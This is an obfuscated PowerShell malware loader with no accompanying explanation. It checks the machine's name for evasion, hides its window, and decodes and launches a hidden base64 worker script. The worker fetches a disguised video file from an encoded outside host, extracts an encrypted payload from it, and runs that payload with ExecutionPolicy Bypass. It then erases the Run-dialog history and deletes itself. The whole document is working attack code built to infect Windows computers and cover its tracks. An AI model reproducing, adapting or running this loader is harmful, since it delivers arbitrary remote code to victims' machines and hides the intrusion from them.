<#
#>
$CmAyJOaS8O1Km = (Get-Item -LiteralPath ('Env:'+('Com'+'puter'+'Name')) -ErrorAction SilentlyContinue).Value
$UmpGKEfuW = @(41,38,47,43,36)
$HCsQgGVaL = -join ($UmpGKEfuW | ForEach-Object { [char]($_ -bxor 106) })
if ($CmAyJOaS8O1Km -and $CmAyJOaS8O1Km -match $HCsQgGVaL) { return }

$mSqGIbjyp = (Get-Item -LiteralPath ('Env:'+('Com'+'puter'+'Name')) -ErrorAction SilentlyContinue).Value
$dvpnGalSJtl = @(45,34,43,32)
$GM90o745 = -join ($dvpnGalSJtl | ForEach-Object { [char]($_ -bxor 110) })
if ($mSqGIbjyp -and $mSqGIbjyp -match $GM90o745) { return }
$__hc = @'
using System;
using System.Runtime.InteropServices;
public class __HideConsole {
  [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow();
  [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
}
'@
if (-not ('__HideConsole' -as [type])) {
  try { Add-Type -TypeDefinition $__hc -ErrorAction Stop } catch {}
}
if ('__HideConsole' -as [type]) {
  $__hwnd = [__HideConsole]::GetConsoleWindow()
  if ($__hwnd -ne [IntPtr]::Zero) { [void][__HideConsole]::ShowWindow($__hwnd, 0) }
}
$g0j7kMeo3EPqa = Get-Random -Minimum 0 -Maximum 80
Start-Sleep -Milliseconds $g0j7kMeo3EPqa

$QYr9hOOlI = Join-Path $env:ProgramData $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('LmNoX2YzZTBkYjZlMzU3MA==')))
if (Test-Path $QYr9hOOlI) { exit 0 }
$__chB64 = 'JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTaWxlbnRseUNvbnRpbnVlJwpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbgppZiAoLW5vdCAoJ19fWDMxZTBkZmRlYzUnIC1hcyBbdHlwZV0pKSB7CkFkZC1UeXBlIC1SZWZlcmVuY2VkQXNzZW1ibGllcyBTeXN0ZW0uSU8uQ29tcHJlc3Npb24gQCcKdXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5JTy5Db21wcmVzc2lvbjsKdXNpbmcgU3lzdGVtLlRleHQ7CnB1YmxpYyBzdGF0aWMgY2xhc3MgX19YMzFlMGRmZGVjNSB7CiAgc3RhdGljIGludCBSZWFkSW50KGJ5dGVbXSBiLCBpbnQgbykgewogICAgcmV0dXJuICgoYltvXSAmIDB4RkYpIDw8IDI0KSB8ICgoYltvICsgMV0gJiAweEZGKSA8PCAxNikgfCAoKGJbbyArIDJdICYgMHhGRikgPDwgOCkgfCAoYltvICsgM10gJiAweEZGKTsKICB9CiAgc3RhdGljIHN0cmluZyBEZWNyeXB0QmxvYihieXRlW10gYmxvYikgewogICAgYnl0ZVtdIG1hZ2ljID0gbmV3IGJ5dGVbXSB7IDkzLDI3LDI0OSwyNSB9OwogICAgZm9yIChpbnQgaSA9IDA7IGkgPCBtYWdpYy5MZW5ndGg7IGkrKykgaWYgKGJsb2JbaV0gIT0gbWFnaWNbaV0pIHRocm93IG5ldyBFeGNlcHRpb24oImJhZCBibG9iIik7CiAgICBpbnQga2V5TGVuID0gKGJsb2JbNF0gPDwgOCkgfCBibG9iWzVdOwogICAgaW50IG8gPSA2OwogICAgdmFyIGtleSA9IG5ldyBieXRlW2tleUxlbl07CiAgICBCdWZmZXIuQmxvY2tDb3B5KGJsb2IsIG8sIGtleSwgMCwga2V5TGVuKTsgbyArPSBrZXlMZW47CiAgICBpbnQgZGF0YUxlbiA9IFJlYWRJbnQoYmxvYiwgbyk7IG8gKz0gNDsKICAgIHZhciBlbmMgPSBuZXcgYnl0ZVtkYXRhTGVuXTsKICAgIEJ1ZmZlci5CbG9ja0NvcHkoYmxvYiwgbywgZW5jLCAwLCBkYXRhTGVuKTsKICAgIGZvciAoaW50IGkgPSAwOyBpIDwgZGF0YUxlbjsgaSsrKSBlbmNbaV0gXj0ga2V5W2kgJSBrZXlMZW5dOwogICAgdXNpbmcgKHZhciBjbXMgPSBuZXcgTWVtb3J5U3RyZWFtKGVuYykpCiAgICB1c2luZyAodmFyIGd6ID0gbmV3IEdaaXBTdHJlYW0oY21zLCBDb21wcmVzc2lvbk1vZGUuRGVjb21wcmVzcykpCiAgICB1c2luZyAodmFyIHNyID0gbmV3IFN0cmVhbVJlYWRlcihneiwgRW5jb2RpbmcuVVRGOCkpIHsKICAgICAgcmV0dXJuIHNyLlJlYWRUb0VuZCgpOwogICAgfQogIH0KICBzdGF0aWMgYnl0ZVtdIEZpbmRVdWlkUGF5bG9hZChieXRlW10gZGF0YSwgYnl0ZVtdIGlkKSB7CiAgICBpbnQgaSA9IDA7CiAgICB3aGlsZSAoaSArIDggPD0gZGF0YS5MZW5ndGgpIHsKICAgICAgaW50IHNpemUgPSBSZWFkSW50KGRhdGEsIGkpOwogICAgICBpZiAoc2l6ZSA8IDI0IHx8IGkgKyBzaXplID4gZGF0YS5MZW5ndGgpIHsgaSsrOyBjb250aW51ZTsgfQogICAgICBpZiAoZGF0YVtpICsgNF0gPT0gKGJ5dGUpJ3UnICYmIGRhdGFbaSArIDVdID09IChieXRlKSd1JyAmJiBkYXRhW2kgKyA2XSA9PSAoYnl0ZSknaScgJiYgZGF0YVtpICsgN10gPT0gKGJ5dGUpJ2QnKSB7CiAgICAgICAgYm9vbCBvayA9IHRydWU7CiAgICAgICAgZm9yIChpbnQgaiA9IDA7IGogPCAxNjsgaisrKSBpZiAoZGF0YVtpICsgOCArIGpdICE9IGlkW2pdKSB7IG9rID0gZmFsc2U7IGJyZWFrOyB9CiAgICAgICAgaWYgKG9rKSB7CiAgICAgICAgICB2YXIgcGF5bG9hZCA9IG5ldyBieXRlW3NpemUgLSAyNF07CiAgICAgICAgICBCdWZmZXIuQmxvY2tDb3B5KGRhdGEsIGkgKyAyNCwgcGF5bG9hZCwgMCwgcGF5bG9hZC5MZW5ndGgpOwogICAgICAgICAgcmV0dXJuIHBheWxvYWQ7CiAgICAgICAgfQogICAgICB9CiAgICAgIGlmIChzaXplIDwgOCkgeyBpKys7IGNvbnRpbnVlOyB9CiAgICAgIGkgKz0gc2l6ZTsKICAgIH0KICAgIHRocm93IG5ldyBFeGNlcHRpb24oInV1aWQgYm94IG1pc3NpbmciKTsKICB9CiAgcHVibGljIHN0YXRpYyBzdHJpbmcgRnJvbUNhcnJpZXIoYnl0ZVtdIHJhdywgc3RyaW5nIGtleSwgYnl0ZVtdIHV1aWRJZCkgewogICAgaWYgKHV1aWRJZCAhPSBudWxsICYmIHV1aWRJZC5MZW5ndGggPT0gMTYpIHsKICAgICAgcmV0dXJuIERlY3J5cHRCbG9iKEZpbmRVdWlkUGF5bG9hZChyYXcsIHV1aWRJZCkpOwogICAgfQogICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiYmFkIGNhcnJpZXIiKTsKICB9Cn0KJ0AgLUVycm9yQWN0aW9uIFN0b3AKfQokX19jaFV1aWQgPSBbYnl0ZVtdXSgyMjksNTEsNCwxODgsNzgsNDEsNzksNTcsMTY2LDg5LDQ0LDksMTU5LDEzOSwxMjgsMTQyKQokX191cmwgPSAkKFtUZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCdiV1ZoZEdGdVpIWmxaMlYwWVdKc1pYTXVZWE5wWVM5dVpYY3ViWEEwJykpKQoKdHJ5IHsgW05ldC5TZXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm90b2NvbCA9IFtOZXQuU2VjdXJpdHlQcm90b2NvbFR5cGVdOjpUbHMxMiB9IGNhdGNoIHt9CiRfX3Jhd0J5dGVzID0gJG51bGwKdHJ5IHsKICAgICRfX2RsID0gW05ldC5IdHRwLkh0dHBDbGllbnRdOjpuZXcoKQogICAgJF9fZGwuVGltZW91dCA9IFtUaW1lU3Bhbl06OkZyb21TZWNvbmRzKDEyMCkKICAgICRfX3Jhd0J5dGVzID0gJF9fZGwuR2V0Qnl0ZUFycmF5QXN5bmMoJF9fdXJsKS5HZXRBd2FpdGVyKCkuR2V0UmVzdWx0KCkKICAgICRfX2RsLkRpc3Bvc2UoKQp9IGNhdGNoIHt9CmlmICgtbm90ICRfX3Jhd0J5dGVzIC1vciAkX19yYXdCeXRlcy5MZW5ndGggLWx0IDY0KSB7CiAgICB0cnkgewogICAgICAgICRfX3djID0gTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50CiAgICAgICAgJF9fd2MuSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCAnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCknKQogICAgICAgICRfX3Jhd0J5dGVzID0gJF9fd2MuRG93bmxvYWREYXRhKCRfX3VybCkKICAgIH0gY2F0Y2gge30KfQoKaWYgKC1ub3QgJF9fcmF3Qnl0ZXMgLW9yICRfX3Jhd0J5dGVzLkxlbmd0aCAtbHQgNjQpIHsKICAgIHRyeSB7CiAgICAgICAgJF9fcmVzcCA9ICYoJChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnU1c1MmIydGxMVmRsWWxKbGNYVmxjM1E9JykpKSkgLVVyaSAkX191cmwgLVVzZUJhc2ljUGFyc2luZyAtVGltZW91dFNlYyAxMjAKICAgICAgICBpZiAoJF9fcmVzcCAtYW5kICRfX3Jlc3AuUmF3Q29udGVudFN0cmVhbSkgewogICAgICAgICAgICAkX19yYXdCeXRlcyA9ICRfX3Jlc3AuUmF3Q29udGVudFN0cmVhbS5Ub0FycmF5KCkKICAgICAgICB9CiAgICB9IGNhdGNoIHt9Cn0KaWYgKC1ub3QgJF9fcmF3Qnl0ZXMgLW9yICRfX3Jhd0J5dGVzLkxlbmd0aCAtbHQgNjQpIHsgZXhpdCAxIH0KCiRfX3BheWxvYWQgPSBbX19YMzFlMGRmZGVjNV06OkZyb21DYXJyaWVyKCRfX3Jhd0J5dGVzLCAiZGF0YSIsICRfX2NoVXVpZCkKJF9fY2hQczEgPSBKb2luLVBhdGggJGVudjpURU1QIChbZ3VpZF06Ok5ld0d1aWQoKS5Ub1N0cmluZygnTicpICsgJy5wczEnKQpbSU8uRmlsZV06OldyaXRlQWxsVGV4dCgkX19jaFBzMSwgJF9fcGF5bG9hZCwgKE5ldy1PYmplY3QgU3lzdGVtLlRleHQuVVRGOEVuY29kaW5nICRmYWxzZSkpClN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICdwb3dlcnNoZWxsLmV4ZScgLUFyZ3VtZW50TGlzdCBAKCctTm9Qcm9maWxlJywnLUV4ZWN1dGlvblBvbGljeScsJ0J5cGFzcycsJy1XaW5kb3dTdHlsZScsJ0hpZGRlbicsJy1GaWxlJywkX19jaFBzMSkgLVdpbmRvd1N0eWxlIEhpZGRlbiAtV2FpdAp0cnkgeyBSZW1vdmUtSXRlbSAtTGl0ZXJhbFBhdGggJF9fY2hQczEgLUZvcmNlIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlIH0gY2F0Y2gge30KdHJ5IHsKICAgICRydW5NcnVQYXRoID0gJ0hLQ1U6XFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEV4cGxvcmVyXFJ1bk1SVScKICAgIGlmIChUZXN0LVBhdGggJHJ1bk1ydVBhdGgpIHsKICAgICAgICBSZW1vdmUtSXRlbVByb3BlcnR5IC1QYXRoICRydW5NcnVQYXRoIC1OYW1lICogLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUKICAgIH0KfSBjYXRjaCB7fQp0cnkgeyBSZW1vdmUtSXRlbSAtTGl0ZXJhbFBhdGggJFBTQ29tbWFuZFBhdGggLUZvcmNlIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlIH0gY2F0Y2gge30KZXhpdAo='
$__chWorker = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($__chB64))
$__chPath = Join-Path $env:TEMP ([guid]::NewGuid().ToString('N') + '.ps1')
[IO.File]::WriteAllText($__chPath, $__chWorker, (New-Object System.Text.UTF8Encoding $false))
Start-Process -FilePath 'powershell.exe' -ArgumentList @('-NoProfile','-ExecutionPolicy','Bypass','-WindowStyle','Hidden','-File',$__chPath) -WindowStyle Hidden

exit